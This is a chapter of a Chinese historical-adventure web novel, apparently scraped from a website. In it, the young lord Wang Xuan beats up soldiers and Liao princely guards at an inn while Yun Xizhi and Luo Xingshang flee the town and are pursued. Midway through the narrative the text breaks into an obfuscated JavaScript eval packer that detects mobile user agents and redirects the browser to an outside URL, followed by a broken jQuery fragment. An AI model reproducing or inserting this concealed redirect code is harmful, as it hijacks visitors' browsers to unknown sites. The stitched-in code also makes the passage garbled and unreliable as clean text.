万福楼。
王宣休息一夜,早已恢复了生龙活虎,正一迭声催促属下们。
“快!都给我动作快点!朝食不必吃了,务必赶在开城门前,就去守株待兔!”
安庆登时眼前一黑。
他没有武艺,只是个端茶倒水伺候主子的,体力比起他主子来更是差了十几条街。昨天随着王宣极限奔波了一天,全身腰酸背痛仿佛去了半条命,没睡几个时辰又被薅起来,听说还连朝食都没得吃,哭丧着脸求道:“公子,不能不吃呀……也不差这么一会儿吧……”
其余几个下属中,武艺最高的是一对叫周麒周麟的兄弟,人也最精明能干。两人心中皆想,公子之前三天没睡,现在又连朝食都不吃,若按这样下去,即使抓到了云公子带回府,万一公子自己也闹出个胃疾啥的来,可怎么向主上交代?
周麒劝道:“公子,不如这样吧,我和阿麟先到城门去守着,保证他们跑不了。安庆,你们伺候公子好生吃朝食,吃完再去,来得及。”
安庆欢喜:“对!对!”其余人也随声附和。
王宣略一思忖,云惜之手无缚鸡之力,那什么“妹妹”听说也是个柔弱少女,济得甚事?周麒周麟二人确实足以把他们拦下。
他大发慈悲,体恤了一把辛苦劳碌的属下们,开恩道:“如此,准了。”
安庆喜笑颜开,对周家兄弟甚是感激,亲亲热热道:“阿麒,阿麟,你俩太好了!等着,你们先去城门蹲守,等我们吃完朝食,给你们带一份最好吃的啊。”
一行人沿着楼梯,边说边往下走,还没走到楼梯口,恰与一队如狼似虎的官差狭路相逢。
客栈小二点头哈腰地正给官差带路,看到王宣,伸手一指。
“军爷,就是这位了!你们要找的俊秀公子,我没见过比他更俊的。”
王宣:???
做甚?
他确实英俊无敌没错,但这些人现在是什么意思?
兴宁士卒一看,却发觉不对,他们要找的那位云小公子,听说并不会武,温文尔雅如玉琢成似的一个人儿,斯文俊秀。
眼前的这少年公子,虽然也确实十分俊美,但他的俊美如狂风烈火,利刃出鞘。全身上下都拉满了蓄势待发的力量感,腰间还悬了一柄雁翎刀。
以军卒的眼光,一眼便能瞧出此人弓马娴熟,武艺精强,那就和他们要找的人半点不像。
但是,兴宁士卒只占了三个,这队官兵大部分是中前所的人。昨夜他们又刚收到消息,北平府已换了钦使,燕王削藩在即,中前所这样与北平府邻近的地区,连铁匠铺都被下了严令不得再接北平府的生意,遇到北平府的可疑人员,那更不能掉以轻心。
现下这七八个精壮汉子,一听便是北平口音!而且个个携带兵器,方才还听了一鳞半爪,他们要到城门去干嘛干嘛,有何目的?
“站住!你们可是北平府人氏?到辽东来干什么的?把身份文书和路引拿出来看看!”
王宣等人脸色一白。他们昨晚也已听说了北平府之变,一看这些人上来便问这个,不由以为是冲着自己来的。
北平府两司刚被崇和帝亲派钦使拿下,那么他们的那套前司特发的路引印信现在拿出来,就十分引人注目了。而且身份文书和路引说是把他们特派到辽东采买药材,但自从在黑松岭遭遇山匪、丢了一辆马车后,又发现云惜之逃走,他们早就顾之不及,为了轻装简从赶路追人,把另外的马车也已弃了,药材更是一点没带。这时再想扮回“药商”,官兵们是瞎了才会看不出有问题。
若是被拿去见官……
以他的真实身份,私离藩地出现在这里,就已是铁板钉钉的重罪!
便在此时,大街上骤然沸反盈天,又一队人马风驰电掣急驰而来,穿的竟是辽王府亲兵服饰,一路振臂高呼道:“辽王府有令!整个辽东境内,但凡发现北平府户籍人氏,一律就地扣押,严加盘查!据传燕王府细作私赴辽东,恐有谋逆之举,拿获者赏钱万贯!”
王宣一行人,这下都脸色大变,险些怒吼出声。
辽王这落井下石的老匹夫!
他是真收到了密报消息,还是为向崇和帝投诚,大张旗鼓到处抓北平府的人以作姿态?
但无论哪一样,对此刻的他们都是致命一击。
万福楼里的官兵们眼睛亮了,发觉自己可能撞到了大运,校尉大吼一声:“快把这伙人拿下!一个都不许跑掉!刚才听到了没有?若真是细作,能值万贯!”
其实何止细作……
安庆已吓得脸青唇白,周麒周麟拔刀急护到王宣身前:“公子,快走!”
王宣却冷冷道:“起开,你们跟在我身后。”
这队官兵有十几个人,外面光是离得最近的刚才辽王府那队亲兵也有十几人,更别提城中还有随时可叫来增援的守军。
校尉数了数,这伙北平府的除去那个弱鸡小厮,只有七人能打,不由惊笑道:“小子,你们难道还敢拒捕不成?”
“那不然呢?”王宣连腰刀都不屑出鞘,只稍微活动了一下手腕,厉声道:“我倒要看看,有谁能拿得了我!”
*
天呐,打起来了!
哦呵呵呵万福楼被打得好惨,整座大堂几乎被拆了个粉碎,所有桌椅门窗,无一幸免!
——缘来客栈中,老板娘和小二等人都忍不住趴到了门板上,从门缝中紧张观看着这一幕生平仅见的“官兵拿人反遭暴打”的大场面。遭殃场地还是竞争对手,更刺激了!
眼看着王宣神威凛凛,所向披靡,根本用不着属下帮忙,他片刻之间就以一己之力将所有人撂倒,老板娘只看得张大了嘴,目不暇给,激动道:“那小娘子,你看男人的眼光还真精到呢?先前你夸这公子的时候我还不以为然,觉得论俊秀他是比不上你家郎君的,没想到竟如此了得!这身材,这体力……喔唷,确是别有一番英姿飒爽……”
说完才想起,这话恐怕破坏人家的夫妻感情,忙回过头去想补救一下。可游目一望,除了柜台上留下一枚银锞,哪还有那对“小夫妻”的影子?
洛星裳慌里慌张,正忙着在马厩里给两匹马解缰套上行囊,一句也没听到。
倒是刚悄悄放完房钱的云惜之听了个一字不落,面无表情。
是么,她刚才夸王宣了?
怎么夸的,夸的什么地方,难道和这老板娘想的一样?
……
趁着街上大乱,两人从后门溜之大吉。
看到王宣一行和官兵干了起来,一箭双雕,洛星裳一开始也颇为激动,为自己的妙计自鸣得意。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699295|208078||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可看到那战况后,她心头阵阵发凉。
见鬼了,王宣那厮,怎么会那么厉害?!
她一直觉得他就是个纨绔恶少,没想到恶少虽恶,可一点儿都不纨绔。
那般身手,她见所未见,闻所未闻!
王宣甚至连兵器都没动,赤手空拳,但拳脚所到之处,万福楼中那十几个官兵如被铁槌重击,骨折之声混着惨叫,听得人心惊肉跳,片刻之间便尽数倒地。
抢出门来,街上辽王府的那队亲兵还没来得及动手,也已被他虎入羊群,横扫一片,且含怒打得更凶残。
中前所只是一座小城,这条主街离城门很近。惊闻这边有凶徒当街拒捕,又涉嫌是燕王府细作,守军迅速赶往增援,早晨刚开的城门却还没来得及关。
洛星裳与云惜之两骑趁机冲了出去。
但他们刚才也听到了辽王府亲兵大张旗鼓新传的令:但凡北平府人氏,都要就地扣押严查。
无论云惜之的身份路引,还是给她办的那份临时信票,户籍都是落在北平府的。这下虽逃出了中前所,却不能再按原计划奔赴山海关了——那是辽东边防最重要的咽喉要塞,休想侥幸闯过,以现在的形势,他们再往那边跑就是自投罗网。
云惜之当机立断:“前方路口,转入山林!”
洛星裳:“知道,咱们先找个地方藏身,再作计较!”
两人并辔而驰,完全无需商量,行动已然十分默契。
往后回不去中前所,往前去不了山海关,那就只能先躲到附近的燕山余脉了。
下一步该怎么办还不知道,眼前最重要的是不能被那些要抓捕“北平府户籍可疑人物”的官兵抓到!
可惜天不遂人愿,他们还没来得及驰入山林,却听后方马蹄声如鼓点骤雨,势如长龙,至少有数十人追了上来。
追我们做甚!去抓王宣啊!
洛星裳百忙中回头望了一眼,却见追来的人马里,冲在最前面的那一骑,赫然正是王宣!
跟在他身后紧追不舍的,有他的一众下属,也有中前所的官兵和守军。
原来,王宣暴打完官兵和辽王府亲兵后,眼看城门守军赶来,他也担心中前所关了城门后不易闯出,便不再恋战,飞身跃上了周麒周麟他们刚抢来的马,一行人直奔城门。
守军慌忙阻拦,但他们这八骑来势汹汹,除了王宣之外,其余那六名属下也都是身经百战的精锐好手,一阵冲杀势不可挡,成功闯出了城门。
他们这一行人无不深谙军队作战之法,知道此刻虽逃出城来,却未脱离险境——因为后面追来的守军马上就要上弩箭了,而他们身上没有盔甲。
周麒周麟急道:“公子,我们六人分头引开他们,安庆,你掩护着公子先走!”
王宣刚冷哼了一声“不必”,眼睛蓦然睁大。
前方不远处也在奔逃、正企图逃往山林的那两骑,被他认出了云惜之的身影。
“好哇!”
王宣破口骂了句脏话,喜怒交加,当即改口喝道:“如此,你们七个自己小心,我先去逮他!”
安庆魂飞魄散:“公子,别丢下我呀!”
但他如何赶得上他主子的骑术,眼睁睁地看着他家公子如一支离弦之箭一般,独自追着那两人去了。